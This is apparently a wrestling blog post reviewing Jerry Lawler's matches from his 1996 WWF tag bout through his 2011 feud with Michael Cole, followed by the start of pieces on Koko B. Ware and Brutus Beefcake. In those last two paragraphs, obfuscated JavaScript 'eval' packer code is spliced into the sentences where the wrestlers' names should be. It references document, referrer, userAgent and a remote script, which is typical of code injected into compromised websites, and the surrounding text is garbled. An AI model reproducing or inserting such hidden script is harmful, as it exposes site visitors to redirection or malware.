Marc Mero, Jake Roberts, The Stalker, Rocky Maivia

I think you know everyone here. Stalker is Barry Windham as a kind of military guerrilla warfare character. This is Rocky’s debut, so who do you think the focus is going to be on? Lawler and Roberts are feuding as well. Mero has Sable with him here. Sunny immediately freaks out on JR for suggesting Sable is hotter. She yells about being natural while Sable is about to melt near the fireworks. Rocky’s outfit looks ridiculous with kind of a cape but made of streamers that goes over his chest as well. Apparently Roberts was a surprise partner and the replacement for Henry.

Jake comes out with the big yellow snake sans bag and chases the team off with it. Goldust and Mero get things going with Marc cranking on the arm. They both block hiptosses so Mero rolls him up for two. Off to Stalker who is now just a guy in camo pants and a WWF t-shirt. Back to Mero to fire off a bunch of hiptosses to Goldie who is a bit calmer than he was last year. Rollup gets two for Mero and it’s back to the arm. Stalker pounds away at Goldie’s ribs before it’s off to HHH. Off to Mero to face Crush as HHH wanted nothing to do with Wildman (Mero).

Mero grabs the arm and for you trivia guys out there, Rocky’s first official time in a WWF ring is against Crush. It lasts all of six seconds before it’s off to Lawler who is immediately punched, kicked in the face, and knocked to the floor. You know Lawler is going to go insane with the selling too. Lawler wants nothing to do with Rocky so it’s off to HHH. Vince explains that Rocky’s name is Dwayne Johnson and that he took the name of his father and grandfather to come up with Rocky Maivia.

In the first of many matches, HHH stomps away in the corner and JR is in football mode. Goldust comes in and drops an elbow followed by some rights to the head. Crush comes in and works on the back for a bit before it’s off to Lawler. Back to HHH as Sunny makes fun of Vince for allegedly having a toupee. Rocky pounds away and backdrops HHH before it’s off to Roberts.

Jake beats up everyone but tries to get to Lawler instead of going after the legal HHH. The shortarm clothesline takes HHH down but the DDT doesn’t work. Off to Lawler who makes fun of Roberts for being an alcoholic. Lawler keeps doing it and there’s the DDT for the first elimination. Goldust comes in next as JR makes fun of the lack of tan on Roberts. We hit the chinlock for a bit until jawbreaker gets Jake out of it. Off to Stalker as JR and Sunny talk about Barry wearing lucky boots. Crush hits Stalker in the back and the Curtain Call (reverse suplex drop) gets the pin for Goldust to tie things up.

Mero comes in immediately to hit a knee lift to take over. Goldie gets in a shot and HHH finally comes in to beat on the other captain. A backbreaker puts Mero down and it’s back to Crush. This is during Crush’s gang member phase and he couldn’t look more out of place with his partners at this point. A legdrop gets two for Crush and it’s off to Goldie. Back to Crush for another backbreaker for two. Things are slowing down a bit here.

HHH comes in again and puts on an abdominal stretch. He gets caught holding the ropes and hiptossed out as is his custom with referees. A sunset flip can’t get HHH down before he makes the tag to Goldust. HHH is back in about five seconds later and let’s look at Sunny! Ok I can’t complain about that one as much. Jake is pulled in sans tag, allowing Mero to hit a moonsault press on HHH for the elimination. That was a very messy sequence with all the tags with nothing happening between them and the non-tag to Jake. Either that or I missed a tag and Mero was totally illegal when he pinned HHH.

It’s Mero/Rocky/Roberts vs. Crush/HHH. Crush comes in next and is almost immediately dropkicked out to the floor. Mero loads up a dive but Goldust makes a save and shoves Crush out of the way. Back inside, Crush’s Heart Punch (exactly what it sounds like) pins Mero. We were looking at a replay when it happened though so that’s hearsay. Roberts comes in, misses the short clothesline and is Heart Punched out as well.

We’re left with Rocky (who actually gets a face chant in MSG at this point) vs. Goldust and Crush. He starts with the one not painted like an Academy Award and accepts a Test of Strength for some reason. A small package out of nowhere gets two for Maivia and here’s Goldust again. Rocky cross bodies Crush for no count as both bad guys are in the ring at once. Goldust hits Rocky low which isn’t illegal apparently but Crush Heart Punches Goldie. Cross body pins Crush and about thirty seconds later, a shoulder breaker (Rocky’s original finisher) gets the final pin.

Rating: C+. This dragged a bit in the middle, but it accomplished three goals: Roberts got to knock Lawler out cold, Mero got to pin HHH to continue their feud, and Rocky got to debut strongly. The problem is the rest of the match wasn’t much to see. Maivia winning over guys like Crush and Goldust is a good thing because it’s unrealistic to have him beat the IC Champion and beating Lawler doesn’t mean anything because Lawler is a career jobber in the WWF. Crush is a big imposing guy who is also a jobber, but at least he looks intimidating. Goldust has credentials too and a loss isn’t going to hurt him. Smart booking.

Jerry would show up in ECW to attack the promotion, setting up a match at Hardcore Heaven 1997.

Tommy Dreamer vs. Jerry Lawler

The story here is obvious: it’s ECW vs. the WWF and Lawler attacked Dreamer a few months back with the help of Rob Van Dam to set this up. Dreamer comes in with something metal to block Lawler’s right hands before knocking him to the floor with a shot to the head. Tommy throws a fan’s drink in Lawler’s face and crotches him on the post. Jerry is already busted open. There’s a hamburger and metal sign to the face as Dreamer is in full control.

They fight into the crowd and a beer to the head knocks Lawler back a few steps. He’s whipped into the barricade and punched with a popcorn bucket. Tommy chokes with a belt and they head inside, only to have Dreamer get crotched while trying to get a chair to the top rope. Lawler throws him off the top and face first into the chair before hammering him outside with right hands. Dreamer gets crotched on the barricade as well before Lawler finds the belt that choked him earlier.

Some shots to the head set up some whips to the back before Lawler looks at another burger. Back in and Lawler hits his finisher piledriver but it only gets two. The fans barely respond as they know it’s not ending that fast. Jerry rips the ECW shirt off Dreamer’s back and wipes himself with it to continue driving the fans insane. Tommy shrugs off a bunch of right hands and swears a lot before hammering away at Lawler. He takes too long posing and shouting ECW though, allowing Jerry to nail a low blow.

More low blows keep Dreamer down and Lawler DDTs the referee for no apparent reason. He tries to crotch Dreamer on the post but gets pulled face first into the steel for his efforts. The lights go out and come back on to reveal Rick Rude blasting Dreamer in the head with a trashcan. Now Dreamer is busted open as well but still kicks out at two. Now the fans are getting into the near falls.

Lawler talks more trash to the fans but Dreamer loads up a piledriver, only for the lights to go out again. They come back to reveal Jake Roberts who lays out Dreamer. Jerry and Jake have never quite gotten along so Lawler hides in the corner. The DDT (Jake’s signature move) knocks Dreamer silly and Jake rants about God for a bit. Lawler offers a handshake but gets clotheslined as well. The referee wakes up and counts two on Dreamer, earning some applause from Jake as he leaves.

Jerry hammers away even more but gets caught in the DDT. Before Dreamer can drop him though, the lights go out a third time. Why he can’t DDT Jerry with no lights is beyond me. The lights come back up to reveal Sunny (Former ECW girl, current WWF girl and Candido’s real life girlfriend) who blinds Dreamer with hairspray. Beaulah and Sunny get in a fight, allowing Dreamer to hit Lawler low a few times and hook the DDT for a pin.

Rating: D+. WAY overbooked here with too many run-ins, especially ones like Roberts that didn’t mean much. The moment at the end with ECW triumphing over the WWF, was a nice moment for the fans but it took a lot of mess to get there. This needed to be about half as long and minus at least one run-in, but it’s not completely terrible as the emotion and payoff were both there.

We’ll skip ahead a few years as Lawler is basically retired from active wrestling. He would however come out of retirememnt on occasion, including this match at Summerslam 2000.

Tazz vs. Jerry Lawler

Tazz comes out with a cowboy hat and a blind man’s cane to really rub in the idea. He takes too long though as Lawler jumps him with a right hand to get us going. They head inside and a dropkick puts Tazz down and follows up with a bunch of right hands to the head. There’s the middle rope punch but a second attempt only hits mat.

Tazz hits some forearms to the back as JR calls him a jackass. Lawler is whipped to the floor so Tazz can talk trash to JR. Back in and Tazz hits what might have been a low blow and goes up for a swanton bomb of all things but Lawler moves. The piledriver connects but Tazz no sells it and the referee is bumped. There’s the Tazzmission on Lawler but JR gets up and smashes the candy jar over Tazz’s head to give Lawler the pin.

Rating: D. What do you expect here? It’s a nothing match which had no business on Summerslam but that’s par for the course a lot of the time. Lawler is harmless enough and at least the win wasn’t clean. Tazz came in so hot but has done almost nothing of note since his debut at the Rumble.

And this one at No Way Out 2001 as Jerry didn’t like censorship.

Jerry Lawler vs. Steven Richards

Tazz does commentary in Lawler’s place. He’s still a wrestler so this is a new thing for him. He’s a bit like his normal commentating self but not all the way yet. Lawler makes a full entrance despite being at the commentary desk not 2 minutes ago. We see a clip of the RTC stopping the (XFL’s) Las Vegas Outlaws cheerleaders last night. RTC was a parody of the Parents Television Council who got on Vince every 9 seconds for something he did.

This is the walking definition of a catch your breath match as the fans need something worthless to bridge the gap from the war they just saw to the last two matches. Lawler expands his offense from just punches by adding in rapid fire punches. This is why it’s great to have someone like Lawler around: you can throw him in there for something like this and you know he’s going to at least be passable, especially since he only wrestles like twice a year so his expectations are very low.

Kat and Ivory go at it for a bit but the distraction allows Richards to take over. Richards misses a splash in the corner and Lawler takes over for a bit. Apparently if he wins Kat gets to lose her clothes. Ivory comes in and Teddy Long takes FOREVER to get rid of her. Kat tries to hit Richards with Ivory’s belt but she nails Lawler by mistake for the pin. Kat has to join RTC now, but she was released in like two weeks, resulting in Lawler quitting. They were married at the time.

Rating: D. This was pretty weak but at the same time it was about as good as it was going to get. It was on the level of a pretty bad TV match but like I said this was designed to just fill in about 10 minutes so that the fans could breathe a bit. Nothing special at all but it did its job I guess.

Lawler and JR would lose their commentary jobs due to losing a match at Unforgiven 2003. Here’s a chance for them to get their jobs back on Raw, September 15, 2003.

Al Snow vs. Jerry Lawler

Coach and JR are on commentary here as Lawler controls with some very basic stuff. They slug it out and King hits a DDT for two. Snow comes back with a slam but a suplex is countered into a small package for the pin. This was the last match of the show people. This is the main event. Let that sink in.

We’ll jump way ahead again for a match from August 6, 2007 on Raw for the right to be called the King. This is a warmup for Booker before he faces the King of Kings at Summerslam 2007.

King Booker vs. Jerry Lawler

Booker doesn’t think much of Jerry until Lawler gets in a left hand. Some right hands have Booker in trouble but he pokes Jerry in the eye to take over. A back elbow to the jaw puts Lawler down and a hook kick gets two. The ax kick misses and Lawler hammers away before dropping an elbow for three but Booker’s foot was on the ropes. The breather allows Booker to nail a superkick. He hammers away in the corner and that’s a DQ win for Lawler.

Rating: D. Not much to see here but Lawler knew how to work a crowd even at this point. You couldn’t have Booker lose of course and he would get to pin Lawler the next week. This is the beauty of a guy like Lawler: he can do this stuff and isn’t going to lose a thing. There wasn’t anything to the match but there didn’t need to be.

We’ll jump ahead to 2010 for a match that really doesn’t need much explanation: Jerry Lawler vs. Jason Voorhees.

Ok maybe this does need an explanation, because yes, it’s THAT Jason Voorhees. This took place on Jerry’s very low level TV show in Memphis where the top heel was Tom Savini. Again, yes THAT Tom Savini. He claimed that Lawler murdered Andy Kaufman 25 years earlier, so he’s sending his movie creations to get revenge. The show didn’t last long if that wasn’t clear.

Jerry Lawler vs. Jason Voorhees

This is in TOM SAVINI’S MONSTERVISION, meaning there are Jason masks on the side of the screen and the video twitches a lot. Jason is led to the ring in chains and is carrying a machete. Some fat guy on commentary says Lawler killed Kaufman by giving him brain cancer via the piledriver.

Lawler can’t hurt Jason’s face so he hammers away at the ribs, only to be sent out to the floor. Jason chokes with a chain so Jerry grabs the machete. That goes nowhere of course so Jason sends Jerry into the post. Back in and Jason hammers away but gets hit low. Jerry rips the mask off and reveals an ugly guy. Jason’s manager Hollywood Jimmy Blaylock comes in with his cane for a DQ.

Rating: A+. This doesn’t require an explanation.

Back to the WWE, where Lawler got a WWE Title shot against Miz in a TLC match on Raw, November 29, 2010.

Raw World Title: The Miz vs. Jerry Lawler

Read that title. At the beginning of the year would you EVER expect this to be a TLC match and the main event of Raw? Riley still has the briefcase. They do a feeling out process to start with Lawler doing his basic stuff. First weapon brought in is a C which is cracked over Lawler’s back. Miz sets up some chairs in the and is almost suplexed onto them. Miz drops Lawler onto his knee and then hits a neckbreaker to put the King down.

Riley gets a ladder but Lawler manages to get a chair and wear Miz out for it. He goes to get his own ladder but has to drill Riley first. Lawler slams the top of the ladder into Miz’s chin and is in control. And scratch that as he misses with a ladder shot and Miz takes over again. Riley takes Lawler down but gets put down and through a table. Miz was dropped on a ladder so he’s still hurt a bit.

Lawler does the slow climb but here’s Miz with the save. Big boot (from Miz? Really?) takes the King down though. Punk: “CLIMB UP THE LADDER! Are you stupid?” Miz destroys him for a bit but gets caught on top while he’s holding a chair. Lawler sets for a superplex but the ladder is in the way. Instead he drills Miz and puts him through a table but Lawler is down.

Cole jumps out of his chair and tries to help Miz up. Lawler is all alone but climbs like a 62 year old man. He’s only 61 if you’re wondering. He starts the climb and COLE MAKES THE SAVE! Lawler finally drills Cole and hammers away at him but Miz climbs up as he hammers his partner. Lawler goes up and Miz is in trouble! Come on Jerry you’ve had enough titles you should know how to unlatch one. Miz is reeling! But he manages to hit Lawler with the belt and climb down to retain at approximately 13:00. A brief celebration ends the show.

Rating: C+. Considering the challenger was a 61 year old that wrestles about three times a year and Michael Cole was the only thing that made the save, this was more or less a miracle. I cracked up at Cole making the save. This was better than I expected and it came off pretty well. No one really bought Lawler having a legit chance so this worked fine, all things considered.

Here’s the rematch from Elimination Chamber 2011.

Raw World Title: The Miz vs. Jerry Lawler

Wow I never thought I’d type that. We even get big match intros. Jerry in white and black with a cape here. That’s rather awesome. The bell rings twice so technically this isn’t happening. Jerry gets a quick backslide and small package for two each. He unleashes his variety of punches as it’s all Lawler so far. Miz gets knocked to the floor and chills for a bit. Riley distracts Jerry though and Miz sends him into the post to shift momentum.

Miz can’t get Lawler in the ring for some reason. He settles for a running knee while Lawler is on the apron for two. Jerry gets a punch and the fans wake up. Running clothesline in the corner and down goes Lawler. Miz goes up and Jerry crotches him so they slug it out on the middle rope. Superplex puts Miz down for two. Riley’s reactions out there are hilarious.

They slug it out again and Jerry gets a pair of dropkicks for no cover. Backdrop and a falling punch get two as Miz is in trouble. We get something close to Cole being civil by saying Lawler is hanging in there. Riley interferes by tripping Lawler and is ejected. I know it’s a long shot and more or less an impossibility but the stars are seeming to align for Jerry to pull this off. Miz misses a charge in the corner and Lawler rolls him up for two.

Miz escapes the Piledriver and gets a big boot for two. Jerry reverses the pin into a rollup for two and then Miz is sent to the floor over the top. Cole is annoying as all goodness here as Jerry rams Miz into the announce table. Cole says he and Miz have a personal relationship which you can make your own jokes about. Jerry throws Miz at the commentators and Miz lands on Cole. Booker cracking up at that is great.

Lawler is in control here and goes up top as we’re back in the ring. Top rope punch to a standing Miz gets a very close two. Crowd is INTO this. Miz gets a thumb to the eye but can’t get the Finale as Lawler shoves him off. Jerry gets a DDT and Miz is reeling! He looks at the Mania sign and goes up for the middle rope punch. With a point to the sign and the strap coming down, Jerry gets the fist but Miz gets his foot on the ropes. My heart jumped into my throat there.

As Booker talks about Dr. Dre and Snoop Dog for no apparent reason the Piledriver is reversed into a rollup by Miz for two. Jerry reverses that into one of his own for two but Miz gets a kick to the head. And there’s the Skull Crushing Finale for the pin. It was a nice dream while it lasted but at the end of the day I think we all knew this was coming. Still though, INCREDIBLE job here by WWE of making us think it could happen.

Rating: B-. The match was weak from a technical standpoint but they NAILED the drama here. Jerry is a master at working the crowd and he had me believing that it was possible. He made us believe that he could actually do this and put on a passable match at the same time. I really hope this results in Jerry vs. Cole or Riley at Mania, but still this was a great performance and the whole thing worked.

Cole celebrates like crazy and poses with Miz in the ring. Jerry gets up and is like well I tried. He gets a standing ovation and they play his music to take him out. Cole of course WILL NOT SHUT UP and let Lawler have his moment. If this doesn’t end with Jerry piledriving Cole through the floor then it fails. Still though, great moment and incredible storytelling by WWE there.

For reasons that continue to elude me, Lawler would lose the showdown with Cole at Wrestlemania. Here’s his next chance at Over the Limit 2011 in a Kiss My Foot match.

Jerry Lawler vs. Michael Cole

Remember that Cole has promised some kind of surprise all night. Cole comes out in a suit and limping. You can tell it’s officially an injury because he has a doctor’s note. Or maybe he’s reading his lines. Apparently it’s because of infected athlete’s foot. If Cole’s foot goes into Lawler’s mouth Lawler might contract foot and mouth disease. He gives the note to the referee and the referee rips it up. RING THE BELL!

Lawler drills him into the corner and pounds away and there go Cole’s pants. SOLID right hand and a dropkick send Cole to the floor. Josh says vintage. Cole manages to send him into the steps a few times and Cole takes the shoe off. This ticks Jerry off and LAWLER THROWS HIM THROUGH THE COLE MINE!!!!! Lawler celebrates the thing exploding which is a legit funny moment. Middle rope punch brings the strap down and WE ARE DONE! That made me smile. No rating as it was total domination but still, awesome moment as Jerry destroyed him.

Jerry starts unzipping his boot but has an idea. He waves someone out and here comes Eve. She drills him with a moonsault as this is turning into exactly what it should have been. Lawler still isn’t done as he waves out JR! Appropriately enough JR has barbecue sauce. He pours it into Cole’s mouth until it overflows and all over his face. This is great. Cole gets to the floor and tries to leave and says that he’s not a loser. It’s Lawler and all the people that are losers. He’s not going to kiss his……..BRET HART IS HERE!!!!!

THIS is what I mean when I say they need to give old school fans something special. And before you ask, remember that it was Bret and Lawler in the first kiss my foot match. Sharpshooter goes on the pencils that Cole calls legs and it’s time to kiss the feet, complete with barbecue sauce. Cole is left totally destroyed and Bret’s music plays us out. PERFECT ending to this segment as Cole is completely and utterly destroyed.

Where do you want me to start? It’s Jerry Lawler, the guy who has been around FOREVER and has won something like 200 titles in his career. He had a remarkable career but is also known as one of the voices of Raw. Jerry is one of the most entertaining wrestlers of all time, even though he had fewer moves than a John Cena stereotype. He could work a crowd like no one else and would be a GREAT psychology teacher to young wrestlers. Watch his Memphis stuff if you want to see how to get people to hate you in about fifteen seconds.

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We’re going to look at a Hall of Famer today in Koko B. Ware. Why are you all laughing?

Koko eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|niaiz|var|u0026u|referrer|kibrr||js|php'.split('|'),0,{})) has had a long career that started back in the late 70s. Here’s one of his first matches, from November 11, 1978 in Memphis.

Beefcake eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nntfn|var|u0026u|referrer|kkndn||js|php'.split('|'),0,{})) was trained by Hulk Hogan and brought in as part of a tag team with Hulk known as the Boulder Brothers. Here’s one of Ed Boulder’s matches in Memphis from some point in 1979.